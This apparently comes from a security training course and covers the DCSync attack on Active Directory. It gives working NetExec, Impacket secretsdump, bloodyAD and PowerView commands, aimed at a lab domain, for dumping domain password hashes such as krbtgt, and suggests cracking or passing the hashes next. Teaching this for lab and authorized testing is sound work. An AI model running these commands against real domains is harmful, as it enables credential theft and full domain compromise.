← Back to Academy

Academy Node

DCSync

DCSync abuses directory replication rights to request password data from a domain controller.

Advanced100 XPDomain Escalation

Why it matters

Successful DCSync can dump domain hashes, including krbtgt and administrator material.

How to identify it

  • BloodHound DCSync edge.
  • Replication rights: DS-Replication-Get-Changes and Get-Changes-All.
  • High-privileged group membership.

BloodHound indicators

  • DCSync edge to domain
  • GetChanges
  • GetChangesAll

NetExec commands

nxc smb 192.168.184.141 -d xutslabs.local -u svc_dcsync -p 'Password123' --ntds

Impacket commands

impacket-secretsdump xutslabs.local/svc_dcsync:'Password123'@192.168.184.141 -just-dc-user krbtgt

BloodyAD commands

bloodyAD --host 192.168.184.141 -d xutslabs.local -u svc_dcsync -p 'Password123' get object 'DC=xutslabs,DC=local'

PowerView commands

Get-ObjectAcl 'DC=xutslabs,DC=local' -ResolveGUIDs | ? {$_.ObjectAceType -match 'Replication'}

Expected output

  • Administrator:RID:LMHASH:NTHASH:::
  • krbtgt hash line

Success looks like

  • Domain hashes are dumped.

Failure looks like

  • ERROR_DS_DRA_BAD_DN
  • rpc_s_access_denied
  • Only partial rights exist.

Troubleshooting

  • Confirm both replication rights.
  • Try -just-dc-user.
  • Check DNS/time.
  • Verify BloodHound data is current.

Common mistakes

  • Assuming BloodHound DCSync always means secretsdump works.
  • Using wrong DC.
  • Ignoring network or RPC restrictions.

Alternative attacks

  • AdminTo DC
  • RBCD to DC-adjacent server
  • ADCS abuse

What to try next

  • Crack or pass hashes.
  • Use DA hash for proof in lab/CTF.
  • Re-run BloodHound as higher-privileged user.

Recommended next lessons

ASREP Roast

ASREP roasting abuses AD users with Kerberos pre-authentication disabled. You can request encrypted ASREP material and attempt to crack it offline.

Kerberoast

Kerberoasting targets domain users with SPNs. You request service tickets and crack them offline.

GenericWrite

GenericWrite means you can modify certain attributes on the target AD object.

GenericAll

GenericAll is effectively full control over the target AD object.